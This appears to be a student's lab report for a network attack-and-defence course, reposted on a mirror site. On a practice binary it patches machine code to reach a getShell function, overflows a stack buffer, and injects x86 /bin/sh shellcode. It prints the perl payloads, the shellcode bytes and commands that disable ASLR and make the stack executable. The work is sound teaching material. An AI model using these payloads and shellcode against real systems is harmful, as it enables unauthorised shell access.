zoukankan      html  css  js  c++  java
  • 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215

    2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215


    目录


    【知识点描述】

    1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    • NOP:空指令,运行该指令时单片机什么都不做,但是会占用一个指令的时间,对应机器码为90

    • JNE:条件转移指令,ZF标志位为0时跳转,对应机器码为75

    • JE:条件转移指令,ZF标志位为1时跳转,对应机器码为74

    • JMP:无条件跳转指令,可转到内存中任何程序段,对应机器码为eb

    • CMP:比较指令,(通过两数相减的方法)比较两个数的大小,同时会更新标志寄存器,对应机器码为39

    参考:汇编指令和机器码的对应表

    2.掌握反汇编与十六进制编程器

    • 反汇编指令:objdump -d filename 在反汇编指令后添加| more,就可以按页显示反汇编的内容

    • 管道命令:| 将前者的输出作为后者的输入

    • 重定向符:> 将前者输出的内容输入到后者中

    • 将显示模式切换为16进制模式:%!xxd

    • 转换16进制为原格式:%!xxd -r

    • 十六进制编程器:perl -e

    3.能正确修改机器指令改变程序执行流程

    详见 (一)直接修改程序机器指令,改变程序执行流程

    4.能正确构造payload进行bof攻击

    详见 [ (三)注入Shellcode并执行

    【实验步骤】

    • 每一模块都是在pwn1文件的拷贝文件上操作

    (一)直接修改程序机器指令,改变程序执行流程

    1、输入指令objdump -d pwn5215_1 反汇编pwn5215_1文件

    分析:如上图所示,我们可以看到foo函数的地址为08048491,getshell函数的地址为0804847dcall 804891 <foo>指令是将调用位于地址8048491处的foo函数,该指令对应的机器码为e8 d7 ff ff ff,其中e8即跳转之意。

        d7ffffff是补码,其原码为0x29,80484ba-0x29=8048491,即foo函数所在的内存地址

        如果我们想让程序调用getShell函数,只需要修改e8 d7 ff ff ff中foo函数的地址为getShell函数的地址即可

        根据运算,8484ba-804847d=0x003d,再将0x003d转换为补码ffffffc3,可知我们须修改可执行文件,将其中的call指令的目标地址由d7ffffff变c3ffffff

    2、用vi pwn5215_1指令打开可执行文件pwn5215_1

    3、按下esc键后,使用:%!xxd指令将该文件转换为十六进制显示

    4、输入d7查找需要修改的内容

    5、确认位置正确后,按Enter键选定目标,使用r指令将d7修改为c3

    6、输入:%!xxd -r将十六进制文件转换为原格式,输入:wq保存并退出

    7、输入objdump -d pwn5215_1反汇编,确认call指令正确调用getShell函数

    8、运行文件pwn5215_1

    (二)通过构造输入参数,造成BOF攻击,改变程序执行流

    思路:

        可执行文件正常运行调用foo函数,而该函数存在Buffer overflow漏洞,因为在读入字符串时,系统只预留了固定字节的缓冲区,超出部分会造成溢出,而我们的目标就是将getshell函数的地址覆盖到返回地址,从而触发函数

    1、打开gdb调试可执行文件,运行后输入1111111122222222333333334444444455555555,使用info r命令查看各寄存器的值

    分析:此时EIP寄存器(即返回地址)的值是0x35353535,不存在该地址,故发生错误,其中5的ASCII值为35

    2、为进一步确定buf分配的栈空间大小,我们将输入改为1111111122222222333333334444444412345678,重复上步操作

    分析:此时EIP寄存器的值为0x34333231,对应输入中的1234,由此我们可以确定预留的缓冲区大小为32字节,因此只要输入任意32字节加上4字节getShell 的内存地址,就可以触发getShell函数

        反汇编时我们已知getShell的内存地址是0804847d,由于数据的小端方式存储,其地址应按x7dx84x04x08格式输入

    3、输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input,再使用xxd命令查看input文件的内容是否如预期

    4、利用管道符,将input1作为pwn20165215_2的输入,运行该文件

    (三)注入Shellcode并执行

    原理:

    分析:由于该buf的缓冲区足够大,故采用NSR溢出模式,其中nop一为是了填充,二是作为“着陆区/滑行区”,猜测的返回地址只要落在任何一个nop上,自然会滑到shellcode。所以我们构造的payload结构为共32字节的random、nop、shellcode加上4字节指向shellcode地址的retaddr。

    1、准备工作

    # apt-get install execstack    //安装execstack
    # execstack -s pwn1    //设置堆栈可执行
    # execstack -q pwn1  //查询文件的堆栈是否可执行
    # echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    # more /proc/sys/kernel/randomize_va_space  //查看地址随机化是否已经关闭
    

    2、构造一个input_shell(参考老师给的代码)并注入运行

    perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shell

    3、打开另外一个终端,输入ps -ef | grep pwn5215_3获取pwn5215_3的进程号4049

    4、启动gdb调试程序,用attach 4049与进程建立连接

    5、设置断点查看注入buf的内存地址

    分析:可以看到ret指令的地址为0x080484ae

    6、使用break *0x080484ae设置断点,在另一个终端按下回车,再在gdb调试的终端输入 c 继续运行程序

    7、使用info r esp查看esp寄存器地址,使用x/16x 0xffffd30c:以16进制形式查看0xffffd30c地址后面16字节的内容

    分析:从上图可知,返回地址的位置是0x01020304,根据我们构造的input_shell可知,shellcode就在其后,所以shellcode地址是0xffffd310(0xffffd30c加上4字节)

    8、构造input_shellcode并注入运行

    perl -e 'print "A" x 32;print"x10xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    【实验感想及问题回答】

    • 实验收获与感想
    通过自己动手实现缓冲区溢出攻击,使我对缓冲区溢出的原理、函数调用时堆栈的存储结构理解地更加深入。感谢老师详细的讲解和学长学姐们的博客指导,使我本次实验进行地十分顺利,许多之前课程学过的知识点也得到了很好的巩固。
    
    • 什么是漏洞?漏洞有什么危害
    漏洞是指可能被攻击者利用、运行非正常情况下代码段的bug,漏洞可能会造成黑客入侵,非法控制计算机等问题
    
  • 相关阅读:
    四级英语day9
    123
    像程序员一样思考
    Kali
    OS X
    Effective Java
    DHU ACM OJ
    Ambari
    Hadoop
    Hadoop2
  • 原文地址:https://www.cnblogs.com/fyss/p/10544486.html
Copyright © 2011-2022 走看看